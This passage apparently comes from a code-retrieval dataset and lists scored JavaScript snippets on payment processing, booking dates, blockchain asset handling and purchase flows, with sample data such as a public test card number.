repeat_card.find(\".frequency input\");\n modal_body.find(\".frequencyHolder\").text(frequencyNode.val());\n // calculate the ending date.\n // remove the d-none, reveal the second row\n var frequency = parseInt(repeat_card.find(\".frequency-in-days\").text());\n //var frequencyType = repeat_card.find(\".days_and_weeks\").children();\n var frequencyType = frequencyNode.attr(\"data-frequency-type\");\n frequency = (frequencyType == \"Days\") ? frequency : frequency * 7; // frequency in days\n var total_days_in_period = (number_of_bookings - 1) * frequency; // taking account of number of bookings\n // copy the startDateObject\n var endDateObject = new Date(startDate);\n endDateObject.setDate(endDateObject.getDate()+total_days_in_period);\n\n // create an array of dates which track the intervals between the start and endDate\n var intervalDateObject = new Date(startDate);\n var i = 0;\n var allDateHolder = [];\n while (i < number_of_bookings) {\n dateTextHolder = intervalDateObject.toLocaleDateString('en-GB', { weekday: 'long', day:'numeric', month: 'long', year:'numeric'});\n //alert(dateTextHolder);\n allDateHolder.push(dateTextHolder);\n intervalDateObject.setDate(intervalDateObject.getDate()+frequency);\n i++;\n }\n\n modal_body.find(\".range-divider\").removeClass(\"d-none\");\n booking_end_row.removeClass(\"d-none\");\n\n assignDateToBox(booking_end_row, endDateObject);\n\n // fill in the dates for the regular bookings\n booking_dates_modal.empty();\n\n i = 0\n while (i < allDateHolder.length) {\n //alert(allDateHolder[i]);\n copiedDivider = divider.clone();\n copiedDivider.removeClass(\"d-none\");\n copiedDateHolder = dateHolder.clone();\n copiedDateHolder.removeClass(\"d-none\").addClass(\"d-flex\");\n copiedDateHolder.find(\"p\").text(allDateHolder[i]); // insert the calculated Date\n booking_dates_modal.append(copiedDateHolder);\n booking_dates_modal.append(copiedDivider);\n i++;\n }\n\n } else if (number_of_bookings == 1){\n // nothing\n booking_dates_modal.empty();\n dateTextHolder = startDateObject.toLocaleDateString('en-GB', { weekday: 'long', day:'numeric', month: 'long', year:'numeric'});\n copiedDateHolder = dateHolder.clone();\n copiedDivider = divider.clone();\n copiedDivider.removeClass(\"d-none\");\n copiedDateHolder.removeClass(\"d-none\").addClass(\"d-flex\");\n copiedDateHolder.find(\"p\").text(dateTextHolder); // insert the calculated Date\n booking_dates_modal.append(copiedDateHolder);\n booking_dates_modal.append(copiedDivider);\n }\n\n }", "title": "" }, { "docid": "1a7dd650ab318381c299697f4f7d70bd", "score": "0.42561826", "text": "async ReadAsset(ctx, key) {\n const value = await ctx.stub.getState(key); // get the asset from chaincode state\n if (!value) {\n throw new Error(`The asset ${key} does not exist`);\n }\n return value;\n }", "title": "" }, { "docid": "1d041bef2a9aa42462b5b4f4ed218861", "score": "0.42519408", "text": "createPaymentRequest() {\n var _this = this;\n var methodData = [{\n supportedMethods: 'basic-card',\n data: {\n supportedNetworks: Array.from(this.allowedCardNetworks, (network) => network.toLowerCase())\n }\n }];\n\n var details = {\n total: {\n label: 'Test Purchase',\n amount: {\n currency: 'USD',\n value: '1.00'\n }\n }\n };\n\n var options = {\n requestPayerEmail: true,\n requestPayerName: true\n };\n\n return new PaymentRequest(methodData, details, options);\n }", "title": "" }, { "docid": "4356fa73396f380d769fa6c89caf0149", "score": "0.424882", "text": "renderPaymentModal() {\n const avatar = () => (\n <UserAvatar\n source={\n this.state.recipient.avatarPath\n ? this.state.recipient.avatarPath\n : null\n }\n />\n );\n\n const amountToDisplay = `SGD $${this.state.amountPayable.toFixed(2)}`;\n return (\n <Modal\n backdropStyle={styles.backdrop}\n visible={this.state.paymentModalVisible}\n >\n <Card>\n <Text style={{fontWeight: 'bold', marginTop: 10, marginBottom: 10}}>\n Review Payment\n </Text>\n <ListItem\n description={\n <Text style={{fontSize: 17, fontWeight: 'bold'}}>\n {this.state.recipient && this.state.recipient.name}\n </Text>\n }\n title={\n <Text style={styles.label}>\n Recipient\n </Text>\n }\n accessoryRight={avatar}\n />\n <Divider />\n <ListItem\n description={\n <Text style={{fontSize: 17, fontWeight: 'bold'}}>\n {amountToDisplay}\n </Text>\n }\n title={\n <Text style={styles.label}>\n Pay Amount\n </Text>\n }\n />\n <Layout style={styles.modalButtonsContainer}>\n <Button\n style={styles.modalButton}\n size={'small'}\n onPress={() => {\n this.setState({paymentModalVisible: false});\n this.handleMakePayment();\n }}>\n Confirm\n </Button>\n <Button\n appearance={'outline'}\n style={styles.modalButton}\n size={'small'}\n onPress={() => {\n this.setState({paymentModalVisible: false, message: 'Payment was Cancelled'});\n }}>\n Dismiss\n </Button>\n </Layout>\n </Card>\n </Modal>\n );\n }", "title": "" }, { "docid": "f27d8601cc9cc2f5bb7a8b709211ad64", "score": "0.42434564", "text": "function processChasePay() {\n\n try {\n var apiClient = new CybersourceRestApi.ApiClient();\n var instance = new CybersourceRestApi.PaymentApi(apiClient);\n\n var clientReferenceInformation = new CybersourceRestApi.V2paymentsClientReferenceInformation();\n clientReferenceInformation.code = \"TC_MPOS_Paymentech_3\";\n\n var evm = new CybersourceRestApi.V2paymentsPointOfSaleInformationEmv();\n evm.cardSequenceNumber = \"123\";\n evm.tags = \"9C01019A031207109F33036040209F1A0207849F370482766E409F3602001F82025C009F2608EF7753429A5D16B19F100706010A03A00000950580000400009F02060000000700009F6E0482766E409F5B04123456789F2701809F3403AB12349F0902AB129F4104AB1234AB9F0702AB129F0610123456789012345678901234567890AB9F030200005F2A0207849F7C031234569F350123\";\n\n var pointOfSaleInformation = new CybersourceRestApi.V2paymentsPointOfSaleInformation();\n pointOfSaleInformation.terminalId = \"terminal\";\n pointOfSaleInformation.cardPresent = \"Y\";\n pointOfSaleInformation.entryMode = \"QRCode\";\n pointOfSaleInformation.terminalCapability = \"4\";\n pointOfSaleInformation.evm = evm;\n\n var processingInformation = new CybersourceRestApi.V2paymentsProcessingInformation();\n processingInformation.commerceIndicator = \"retail\";\n processingInformation.paymentSolution = \"007\";\n\n var billTo = new CybersourceRestApi.V2paymentsOrderInformationBillTo();\n billTo.country = \"US\";\n billTo.lastName = \"Deo\";\n billTo.address2 = \"Address 2\";\n billTo.address1 = \"201 S. Division St.\";\n billTo.postalCode = \"48104-2201\";\n billTo.locality = \"Ann Arbor\";\n billTo.administrativeArea = \"MI\";\n billTo.firstName = \"John\";\n billTo.phoneNumber = \"999999999\";\n billTo.district = \"MI\";\n billTo.buildingNumber = \"123\";\n billTo.company = \"Visa\";\n billTo.email = \"[email protected]\";\n\n var amountDetails = new CybersourceRestApi.V2paymentsOrderInformationAmountDetails();\n amountDetails.totalAmount = \"115.00\";\n amountDetails.currency = \"USD\";\n\n var orderInformation = new CybersourceRestApi.V2paymentsOrderInformation();\n orderInformation.billTo = billTo;\n orderInformation.amountDetails = amountDetails;\n\n var tokenizedCard = new CybersourceRestApi.V2paymentsPaymentInformationTokenizedCard();\n tokenizedCard.transactionType = \"1\";\n tokenizedCard.requestorId = \"12345678901\";\n\n var card = new CybersourceRestApi.V2paymentsPaymentInformationCard();\n card.type = \"001\",\n card.trackData = \";4111111111111111=21121019761186800000?\";\n\n var paymentInformation = new CybersourceRestApi.V2paymentsPaymentInformation();\n paymentInformation.tokenizedCard = tokenizedCard;\n paymentInformation.card = card;\n\n var request = new CybersourceRestApi.CreatePaymentRequest();\n request.clientReferenceInformation = clientReferenceInformation;\n request.pointOfSaleInformation = pointOfSaleInformation;\n request.processingInformation = processingInformation;\n request.orderInformation = orderInformation;\n request.paymentInformation = paymentInformation;\n\n instance.createPayment(request, function (error, data, response) {\n if (error) {\n console.log(\"Error : \" + error);\n console.log(\"Error : \" + error.stack);\n console.log(\"Error status code : \" + error.statusCode);\n }\n else if (data) {\n console.log(\"Data : \" + JSON.stringify(data));\n }\n console.log(\"Response : \" + JSON.stringify(response));\n\n });\n } catch (error) {\n console.log(error);\n }\n}", "title": "" }, { "docid": "601d88e66d166c93e4892e1049988d44", "score": "0.4236691", "text": "redeemShareVoucher(voucherUrl) {\n return __awaiter(this, void 0, void 0, function* () {\n // Sanity check the url, we don't want to just load any given url\n const re = /^https:\\/\\/(share\\.myfreecams\\.com|mfcsha\\.re)(\\/v\\/[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})$/;\n voucherUrl = voucherUrl.toLowerCase().trim();\n const match = re.exec(voucherUrl);\n if (match === null) {\n throw new Error(`Invalid share voucher url`);\n }\n // Can't POST the purchase to the shortened URL, so construct the long form here\n voucherUrl = this._shareUrl + match[2];\n yield this._shareLogin();\n // Further sanity check that we're logged in and the page has a redeem button for this voucher\n const voucherHtml = yield request({ url: voucherUrl, jar: this._shareCookieJar }).promise();\n const $ = cheerio.load(voucherHtml);\n const redeemButton = $(`a[href=\"${match[2]}\"]`);\n if (redeemButton.length !== 1 || redeemButton.text() !== \"Redeem\") {\n if (yield this.isShareThingOwned(voucherUrl)) {\n // If the voucher has already been redeemed, there will be no\n // redeem button. But if we already own the thing the voucher\n // was for, then there's no reason to reject.\n return;\n }\n else {\n throw new Error(`No redeem button found for Share voucher. Are we successfully logged in with a real account?`);\n }\n }\n // Now pull the authenticity_token from the meta headers of the page\n const authTokenElement = $(`meta[name=\"csrf-token\"]`);\n if (authTokenElement.length !== 1 || typeof authTokenElement[0].attribs.content !== \"string\") {\n throw new Error(`Could not discover authenticity_token for Share voucher redemption. Are we successfully logged in with a real account?`);\n }\n const authToken = authTokenElement[0].attribs.content;\n try {\n yield request({\n method: \"POST\",\n url: voucherUrl,\n form: { _method: \"post\", authenticity_token: authToken },\n jar: this._shareCookieJar,\n headers: { Host: \"share.myfreecams.com\", Referer: voucherUrl },\n }).promise();\n throw new Error(`Unexpected response to voucher redemption`);\n }\n catch (e) {\n // We expect a 302 redirect response back to the thingUrl on success.\n // tslint:disable-next-line:no-unsafe-any\n if (e.statusCode !== 302) {\n throw e;\n }\n else {\n if (yield this.isShareThingOwned(voucherUrl)) {\n return; // Success!\n }\n else {\n throw new Error(`Failed to redeem voucher '${voucherUrl}'`);\n }\n }\n }\n });\n }", "title": "" }, { "docid": "c6b3743f4edd888ccba9a621df6deb10", "score": "0.4234838", "text": "sellCard(params) {\n // Don't sell twice\n if (this.displayData.isSelling[params.inventoryId]) {\n return new Promise(resolve => resolve());\n }\n // Add to selling\n this.displayData.isSelling = {\n [params.inventoryId]: true\n };\n return Resource.get(this).resource('SupplierCompany:sellCard', params);\n }", "title": "" }, { "docid": "092c01baed9e896a2400fea3616d5352", "score": "0.42241052", "text": "dealCard(){\n let randChoice = Math.trunc(Math.random()*this._cards.length);\n let cardDealt = this._cards[randChoice];\n this._cards.splice(randChoice, 1);\n return cardDealt;\n }", "title": "" }, { "docid": "9a6e9ecb3697b6ec7ec57be65eb216d0", "score": "0.42232502", "text": "function isPromocodeJsonTypeAvailable(){\n\tvar paymentOptionTypes = JSON.parse(localStorage.getItem(\"fundingSourceTypes\"));\n\tfor ( var paymentOptionIndex = 0; paymentOptionIndex < paymentOptionTypes.length; paymentOptionIndex++) {\n\t\tvar paymentOptionSourcesJsonType = paymentOptionTypes[paymentOptionIndex].jsonType;\n\t\tif(paymentOptionSourcesJsonType === jsonTypeConstant.PROMOCREDIT){\n\t\t\treturn true;\n\t\t}\n\t}\n\treturn false;\n}", "title": "" }, { "docid": "13393791412ad2f1deeeae1b3010e829", "score": "0.421798", "text": "function processPayment(req, res) { \n // Find the transaction by transport key\n var txn = _.find(state.transactions, { 'transportKey': req.query.TransportKey });\n\n if (txn===undefined) {\n return renderer.renderErrorResponse(res, \"FAILED\", \"Invalid Transport Key\", req.query.Format);\n }\n\n // Send the appropriate response body.\n if((/multitender/i).test(txn.clerkId)) {\n renderer.renderLoyaltyMultitenderResponse(res, txn.validationKey, txn.amount, req.query.Format);\n } else {\n renderer.renderSingleTenderResponse(res, txn.validationKey, txn.amount, req.query.Format);\n }\n \n // Remove the transaction now that the transport key has been used\n state.transactions = _.reject(state.transactions, { 'transportKey': req.query.TransportKey });\n}", "title": "" }, { "docid": "5b4db08f1e695febf19527c11a90154e", "score": "0.42147812", "text": "function depositInto(purse, payment) {\n const oldPurseAmount = purseKeeper.getAmount(purse);\n const paymentAmount = paymentKeeper.getAmount(payment);\n // Also checks that the union is representable\n const newPurseAmount = assay.with(oldPurseAmount, paymentAmount);\n\n // ///////////////// commit point //////////////////\n // All queries above passed with no side effects.\n // During side effects below, any early exits should be made into\n // fatal turn aborts.\n paymentKeeper.remove(payment);\n purseKeeper.updateAmount(purse, newPurseAmount);\n\n return paymentAmount;\n }", "title": "" }, { "docid": "547943b2cb6a61007d7f2e95d46c1f08", "score": "0.4212909", "text": "async TransferAsset(ctx, id, newOwner) {\r\n const assetString = await this.ReadAsset(ctx, id);\r\n const asset = JSON.parse(assetString);\r\n asset.Owner = newOwner;\r\n return ctx.stub.putState(id, Buffer.from(JSON.stringify(asset)));\r\n }", "title": "" }, { "docid": "deb225704a45d60354601d18a5d55867", "score": "0.42029724", "text": "function getAssetFormData(){\n // Retrieve data from the Manage Asset form\n var newAssetId = document.getElementById('asset-id-input').value;\n var newTitle = document.getElementById('title-input').value;\n var newAuthor = document.getElementById('author-input').value;\n var newMediaType = document.getElementById('media-type-input').value;\n var newLanguage = document.getElementById('language-input').value;\n var newCollection = document.getElementById('collection-input').value;\n var newLocation = document.getElementById('location-input').value;\n var newLoanType = document.getElementById('loan-type-input').value;\n var newInterLibLoan = document.getElementById('inter-lib-loan-input').checked;\n\n // put the data into a library asset object\n var libAsset = {\n assetId : newAssetId,\n title : newTitle,\n author : newAuthor,\n mediaType : newMediaType,\n language : newLanguage,\n collection : newCollection,\n location : newLocation,\n loanType : newLoanType,\n interLibLoan : newInterLibLoan\n };\n\n return libAsset;\n}", "title": "" }, { "docid": "1117999311ffeedc578b2b9b79bbc6d9", "score": "0.42002708", "text": "function calcAssetCreated(investData) {\n var totalInvs = {\n lumSumInvst: 0,\n mnthInvst: 0,\n corpsGap: 0,\n mnthlAssetCreated: 0,\n revisedFunds: 0,\n revisedMnthReq: 0,\n revisedMnthGap: 0,\n };\n var assetCreated = 0;\n var assetCreatedMnth = 0;\n var revisedFunds = 0;\n var revisedMnthReq = 0;\n var lumSumRoR = commonFormulaSvc.divide(investData.lumSumInvstRoR, 100);\n var getData = wealthCalculatorSetGetService.getSelectedData();\n $log.debug(investData.currentLumInvst + ',' + lumSumRoR + ',' + getData.wealthInYears);\n assetCreated = commonFormulaSvc.round(investData.currentLumInvst * Math.pow((1 + lumSumRoR), getData.wealthInYears), 0);\n wealthObj.assetCreated = assetCreated;\n wealthCalculatorSetGetService.setSelectedData(wealthObj);\n var mnthRoR = commonFormulaSvc.divide(investData.currentMnthRoR, 100);\n assetCreatedMnth = commonFormulaSvc.round(investData.currentMnthInv * 12 * Math.pow((1 + mnthRoR), getData.wealthInYears), 0);\n totalInvs.lumSumInvst = assetCreated;\n totalInvs.mnthInvst = investData.currentMnthInv * 12;\n totalInvs.mnthlAssetCreated = assetCreatedMnth;\n totalInvs.corpsGap = getData.wealthGoal - (totalInvs.lumSumInvst + assetCreatedMnth);\n revisedFunds = calcRevised(getData.wealthRoR, totalInvs.corpsGap, getData.wealthInYears);\n revisedMnthReq = revisedFunds / 12;\n totalInvs.revisedMnthGap = calcMnthInvsGap(getData.investmentReqPerMnth, investData.currentMnthInv);\n totalInvs.revisedFunds = revisedFunds;\n totalInvs.revisedMnthReq = revisedMnthReq;\n $log.debug('assetCreated', assetCreated);\n $log.debug('assetCreatedMnth', assetCreatedMnth);\n $log.debug('totalInvs', totalInvs);\n return totalInvs;\n }", "title": "" }, { "docid": "e8b73ea547bb1f287097fb5022f53aac", "score": "0.419964", "text": "createPaymentLink (clientId) {\n return this.createRequest(`/clients/${clientId}/card2card`,'POST');\n }", "title": "" }, { "docid": "d6b5294801cd3168729268f1c127abe1", "score": "0.41979787", "text": "function filterPaymentmethodType(pay) {\n return pay.paymentmethodType != 'Cash';\n }", "title": "" }, { "docid": "197ab394c96eafdb8009e5b73f9f9a69", "score": "0.41979337", "text": "addAsset(assetConfig) {\n const asset = new resources_1.Asset({\n input: slash_1.default(assetConfig.input),\n output: slash_1.default(assetConfig.output)\n });\n this.assets.push(asset);\n return asset;\n }", "title": "" }, { "docid": "549aaa93799859d9c38576a22b940f65", "score": "0.4197566", "text": "buyCunsumable (product) {\n if (!this._isPlugin()) return Promise.resolve();\n\n if (!product || !product.productId) return Promise.reject(new Error('Failed buy product Error: product or no product ID'));\n return new Promise((resolve, reject) => {\n return inAppPurchase\n .buy(product.productId)\n .then(data => {\n console.log('GOT MY SKULLS!!!! ' + JSON.stringify(data.productId));\n // The consume() function should only be called after purchasing consumable products\n // otherwise, you should skip this step\n\n let skullsAmount = parseInt((product.description || '').trim(), 10) || 0;\n\n if (isIOS()) {\n skullsAmount = parseInt((product.description.split(' ')[1] || '').trim(), 10) || 0;\n }\n\n Player.updateCurrentGold(skullsAmount);\n\n // TODO: return response with token and such\n // TODO: THIS IS FOR Android only. IOS need to have separated products\n if (isIOS()) return Promise.resolve();\n\n return inAppPurchase.consume(data.type, data.receipt, data.signature);\n })\n .then(() => {\n console.log('CONSUME THIS SHIT!');\n return resolve();\n })\n .catch(err => {\n console.log('GETTING SKULLS FAILED: ' + JSON.stringify(err));\n reject(err);\n });\n });\n }", "title": "" }, { "docid": "6e6b0e6ba8de086391e4a0969d08fd34", "score": "0.41935268", "text": "function newPayment(elem){\n\t$('#editPaymentModal').modal('show');\n\tconsole.log(\"Open : \"+$(elem).data('href'));\n\t$.get($(elem).data('href'),function(content){ // The elem params should contains a data-href which is the data to\n\t\t\t\t\t\t\t\t\t\t\t\t // display in our modal.\n\t\t$('#editPaymentModalContent').html(content);\n\t})\n\n}", "title": "" }, { "docid": "72b1e35a50c0e5471b3f73d547ceeff4", "score": "0.41928324", "text": "function check_assetItem (obj, call_shotgun)\r\n {\r\n // define if obj is an object (and dict entry) or an array (coming from shotObj.background_assets)\r\n // check obj status according to Shotgun and/or assets_list\r\n // update the obj using asset_item\r\n // return updated asset_item >> this has to be an OBJECT !\r\n assets_list = readFile(episodeFolder, 'asset');\r\n // if it is an array process to transform to obj\r\n if (obj instanceof Array)\r\n {\r\n if (obj[1].match(/re-use/gi))\r\n {\r\n obj = new reuse_BGAssetObj (obj[2],obj[0]);\r\n }\r\n else if (!obj[1].match(/re-use|undefined/gi))\r\n {\r\n bgasset_name = obj[0];\r\n if (bgasset_name in assets_list)\r\n {\r\n // get the obj from the list\r\n obj = assets_list[bgasset_name];\r\n };\r\n }\r\n else\r\n {\r\n log('err', [$.line, decodeURI(File($.fileName).name)], obj.toSource() + \"\\nis not a valid BG object !\");\r\n };\r\n }\r\n if (obj instanceof Object && obj.BGType != 're-use') // new asset and not BG reuse\r\n {\r\n if (call_shotgun == true)\r\n {\r\n // this part will ask shotgun if asset is uploaded or not\r\n // and if asset has task assigned\r\n // then change asset.status and asset.sg_id accordingly\r\n // first create temp file in local dir containing asset_obj\r\n tmp_path = \"~/Documents/AdobeScripts/ExportTool/.temp\";\r\n tmpFile = new File (tmp_path);\r\n tmpFile.open(\"w\",\"TEXT\",\"????\");\r\n tmpFile.write (obj.toSource());\r\n tmpFile.close();\r\n // then call python script to check the asset\r\n ext_py_script = localize (py_scripts_path, \"sg_checkAssetStatus.py\");\r\n pythonScript = system.callSystem (python_path + ' \\\"' + ext_py_script + '\\\" -a \\\"' + tmp_path + '\\\"');\r\n result = eval(pythonScript);\r\n \r\n log('debug', [$.line, decodeURI(File($.fileName).name)], \"Shotgun call result:\\n\"+ obj['name'] + \"\\n\" + String(result));\r\n if (result[0] == obj['name'] && result[1] != 'undefined')\r\n {\r\n // asset found on shotgun\r\n // if asset has tasks assigned, status = locked, else status = uploaded\r\n // sg_id updated with id of corresponding asset\r\n obj.status = result[1];\r\n obj.sg_id = result[2];\r\n return obj;\r\n }\r\n else\r\n {\r\n // cannot find an asset on shotgun\r\n return obj;\r\n }\r\n }\r\n else\r\n {\r\n // keep obj as it is, and do not update asset.status\r\n return obj;\r\n }\r\n }\r\n else if (obj instanceof Object && obj.BGType == 're-use')\r\n {\r\n // keep obj as it is, and do not update asset.status\r\n return obj;\r\n }\r\n else\r\n {\r\n log('err', [$.line, decodeURI(File($.fileName).name)], (typeof obj) + \"\\nis not valid type of asset !\\n[\"+obj+\"]\");\r\n return;\r\n };\r\n }", "title": "" }, { "docid": "a08d53af31c2db020bc80cf8790fb6dd", "score": "0.4189755", "text": "async makePayment(payment){\n const bearer = 'Bearer ' + localStorage.getItem('userToken');\n return await fetch(ATTENDEES_API_BASE_URI+\"/pay\",{\n method:'POST',\n headers:{\n 'content-Type':\"application/json\",\n 'Authorization': bearer\n },\n body:JSON.stringify(payment)\n }).then(response =>{\n return response;\n }).catch(reason => {\n return reason;\n })\n }", "title": "" }, { "docid": "364672849f10d37125fbf241e4ed31c9", "score": "0.4186274", "text": "function makePayment\n(\n customerId,\n orderId,\n balance\n)\n{\n var makePayRet = true;\n var payerId = NO_ID;\n var arrCustomer = getCustomerByCustomerId(customerId, true);\n if(($('firstName',arrCustomer).text().toLowerCase() == \n $('#firstNamePayment').val().toLowerCase()) ||\n ($('lastName',arrCustomer).text().toLowerCase() == \n $('#lastNamePayment').val().toLowerCase()) )\n {\n payerId = customerId;\n }\n var expMonth = $('#ccExpMonth option:selected').val();\n\n if($('#ccExpMonth option:selected').val().length == 1)\n {\n expMonth= '0' + $('#ccExpMonth option:selected').val();\n }\n \n var payer = {\n \"id\" : $('id',arrCustomer).text(),\n \"parentID\" : $('parentId',arrCustomer).text(),\n \"typeId\" : $('typeId',arrCustomer).text(),\n \"status\" : $('status',arrCustomer).text(),\n \"number\" : $('number',arrCustomer).text(),\n \"firstName\" : $('#firstNamePayment').val(),\n \"lastName\" : $('#lastNamePayment').val(),\n \"middleName\" : $('#middleNamePayment').val(),\n \"companyName\" : $('companyName',arrCustomer).text(),\n \"address1\" : $('#steetAddress').val(),\n \"address2\" : '',\n \"city\" : $('#city').val(),\n \"state\" : $('#state option:selected').val(),\n \"zipCode\" : $('#zipCode').val(),\n \"country\" : COUNTRY_NAME,\n \"email\" : $('email',arrCustomer).text(),\n \"phone1\" : $('phone1',arrCustomer).text(),\n \"phone2\" : $('phone2',arrCustomer).text(),\n \"fax\" : $('fax',arrCustomer).text(),\n \"balance\" : balance,\n \"note\" : $('note',arrCustomer).text(),\n \"taxRate\" : $('taxRate',arrCustomer).text(),\n \"subscribed\" : $('subscribed',arrCustomer).text()\n };\n var payment = {\n \"id\" : NO_ID,\n \"orderId\" : orderId,\n \"payerId\" : payerId,\n \"ccType\" : $('#ccType option:selected').val(),\n \"ccNum\" : $('#ccNumber').val(),\n \"ccCode\" : $('#cvv').val(),\n \"ccExpMonth\": expMonth,\n \"ccExpYear\" : $('#ccExpYear option:selected').val(),\n \"amount\" : balance\n };\n var dataToSend = {\n 'action' : MAKE_PAYMENT,\n 'payer' : JSON.stringify(payer),\n 'payment' : JSON.stringify(payment)\n };\n $.ajax({\n type : \"POST\",\n url : API_URL,\n data : dataToSend, \n dataType : \"json\",\n async : false, \n headers : HEADER,\n error : function (e)\n { \n $('.modal').modal('hide');\n },\n success : function(jsonResult)\n { \n var location = window.location.pathname; \n if(jsonResult.returnCode == -1)\n {\n makePayRet = false;\n showAlertBox('Payment Failure Alert',jsonResult.errorMsg,\n SITE_URL + location.split('/')[1]);\n }\n else if(jsonResult.returnCode == 1)\n {\n var liftId = $.session.get('liftId');\n var hasConfirm = pendingFulFilledALift(liftId);\n if(hasConfirm == 1)\n { \n var result = getLiftById($.session.get('liftId')); \n lift = result.lift;\n var hasSent = true; \n if (lift.textYes)\n {\n hasSent = sendTextMessage($('phone1',\n arrCustomer).text(),\n \"Your payment was processed.\"+\"\\n\" +\n \"Your Confirmation no :\"+\"\\n\" +\n $.session.get('confirmationNo') + \n ' Please check your email to see the detailed information ' + \n 'on the confirmation.');\n } \n \n var emailBody = getEmailBody('payment',\n $('firstName',arrCustomer).text() +' '+\n $('lastName',arrCustomer).text(),\n '', '', '', '', '', lift); \n\n var emailSubject = 'AirPnd - Payment confirmation '; \n var hasMailSent = sendEmail($('email',arrCustomer).text(),\n emailSubject,emailBody); \n \n if (hasMailSent)\n {\n $('.modal').modal('hide');\n $.session.clear('confirmationNo');\n showAlertBox('Payment Confirmation',\n 'Your payment was processed. Please ' + \n 'check your email or text message for ' + \n 'the confirmation number and please ' +\n 'provide the confirmation number to ' + \n 'your driver at the end of the ride.',\n SITE_URL + location.split('/')[1]);\n } \n else\n {\n $.session.clear('confirmationNo');\n showAlertBox('Mail failure',\n 'Email Sending Failed',\n SITE_URL + location.split('/')[1]);\n } \n }\n }\n else\n {\n makePayRet = false;\n showAlertBox('Payment Failure Alert','Failed to set lift to confirm',\n SITE_URL + location.split('/')[1]);\n }\n }\n });\n return makePayRet;\n}", "title": "" }, { "docid": "aea6060c0847f2cf730819a717b1560d", "score": "0.4185279", "text": "getPaymentComponentReference() {\n return this.paymentComponent;\n }", "title": "" }, { "docid": "33c00213132ce00925da9102cda7712f", "score": "0.41824663", "text": "returnOriginalSignatureSource() {\n return this.type.toString() + \"000\" + this.amt.toString();\n }", "title": "" }, { "docid": "3d75e81dd3b3dc6a1c170261d5d26622", "score": "0.41728982", "text": "getPayment(id) {\n const path = `/payments?${id}`;\n const method = 'GET';\n const options = buildOptions(this.token, this.endPoint, path, method, null);\n return goCardlessRequest(options);\n }", "title": "" }, { "docid": "a0b3bf485a5899fca7ede38928cbe894", "score": "0.41692355", "text": "getAvailablePayment() {\n return this.request.post('available-payment-paydeo');\n }", "title": "" }, { "docid": "9e484cb62392503543987aab7b629839", "score": "0.41686493", "text": "function makePayment(paymentParams) {\n FlutterwaveCheckout({\n ...paymentParams,\n callback: function (data) {\n // not currently used\n },\n onclose: function () { // redirect to redirect_url when modal is closed\n window.location.href = paymentParams.redirect_url;\n },\n });\n}", "title": "" }, { "docid": "2cdd32a2ce56021e4c750a7737db1911", "score": "0.4163846", "text": "swapSrc(){\n\n const newSrc = this.getNewSrc();\n\n if(newSrc === this.currentSrc) return;\n\n if(this.type === 'img'){\n this.elem.src = newSrc\n }else if (this.type === 'div'){\n this.elem.style.backgroundImage = 'url(' + newSrc + ')';\n }\n this.currentSrc = newSrc;\n\n }", "title": "" }, { "docid": "c0c4a47f615cd6e4c43a3b2b6e7208b3", "score": "0.41614726", "text": "checkForInactivePayment (props) {\n let { cardType, appliedGiftCards, onRedirectToBilling } = props;\n\n // DT-32443\n // If there are no valid payment methods, redirect to billing and show error\n if (cardType === null && appliedGiftCards.length === 0) {\n onRedirectToBilling();\n }\n }", "title": "" }, { "docid": "63acf01e1891e3217748f26451e4c380", "score": "0.41611332", "text": "set mainAsset(value) {}", "title": "" }, { "docid": "fe3b18c9cad96d0f4f55420059e142f1", "score": "0.4157986", "text": "function addAsset(assetParam){\n var deferred = Q.defer();\n \n //check for duplicate 'asset_tag' s\n\t db.assets.findOne({ asset_tag: assetParam['asset_tag'] },\n function (err, asset) {\n if (err) deferred.reject(err);\n \n if (asset) {\n deferred.reject({exists: true});\n } else {\n //if no duplicates, insert to database\n db.assets.insert(assetParam, function(err){\n\t\t\t\t\tif (err) deferred.reject(err);\n\t\t\t\t\tdeferred.resolve();\n\t\t\t\t});\n }\n });\n\n\n // Asset.create(assetParam, function(err){\n // if (err) deferred.reject(err);\n // console.log(err)\n // deferred.resolve();\n // });\n \n return deferred.promise;\n}", "title": "" }, { "docid": "627a55c5e24c50d6fbf3a1dbcb9d7c6b", "score": "0.4154681", "text": "getRedeemTX (address, fee, fundingTX, fundingTXoutput, redeemScript, inputScript, locktime, privateKey) {\n const redeemTX = new bcoin.MTX();\n const coin = bcoin.Coin.fromTX(fundingTX, fundingTXoutput, -1);\n\n // Add that coin as an input to our transaction\n redeemTX.addCoin(coin);\n\n // Redeem the input coin with either the swap or refund script\n redeemTX.inputs[0].script = inputScript;\n\n // Create the output back to our primary wallet\n redeemTX.addOutput({\n address: address,\n value: coin.value - fee\n });\n\n // If this was a refund redemption we need to set the sequence\n // Sequence is the relative timelock value applied to individual inputs\n if (locktime) {\n redeemTX.setSequence(0, locktime, false);\n } else {\n redeemTX.inputs[0].sequence = 0xffffffff;\n }\n\n // Set SIGHASH and replay protection bits\n let versionOrFlags = 0;\n let type = null;\n\n if (this.chain.split(':')[0] === 'bcash') {\n versionOrFlags = this.flags;\n type = this.Script.hashType.SIGHASH_FORKID | this.Script.hashType.ALL;\n }\n\n // Create the signature authorizing the input script to spend the coin\n const sig = this.signInput(redeemTX, 0, redeemScript, coin.value, privateKey, type, versionOrFlags);\n\n // Insert the signature into the input script where we had a `0` placeholder\n inputScript.setData(0, sig);\n inputScript.compile();\n\n return redeemTX;\n }", "title": "" }, { "docid": "253e393f79929e48e987c514711a9eb2", "score": "0.4154309", "text": "function getAssetClass() {\n try {\n return require(\"parcel\").Asset;\n } catch (e) {\n return require(\"parcel-bundler\").Asset;\n }\n}", "title": "" }, { "docid": "66abffa7ca6ea9815cf51819eeeb8cc9", "score": "0.41481498", "text": "static efficiencyOfPurchase(cost, current_RpS, delta_RpS)\n\t\t{\n\t\t\tcost = Decimal.fromValue(cost);\n\t\t\tcurrent_RpS = Decimal.fromValue(current_RpS);\n\t\t\tdelta_RpS = Decimal.fromValue(delta_RpS);\n\t\t\treturn Decimal.add(cost.div(current_RpS), cost.div(delta_RpS));\n\t\t}", "title": "" }, { "docid": "859d5be6196d731e5bc5e7d25f64b811", "score": "0.4146659", "text": "function sendAssetTransaction(mnemonic, to, assetId, amount) {\n var p = new Promise(function (resolve) {\n let account = algosdk.mnemonicToSecretKey(mnemonic);\n // use closeRemainderTo paramerter when you want to close an account\n let closeRemainderTo = undefined;\n // use note parameter when you want to attach a string to the transaction\n let note = undefined;\n // use revocationTarget when you want to clawback assets\n let revocationTarget = undefined;\n 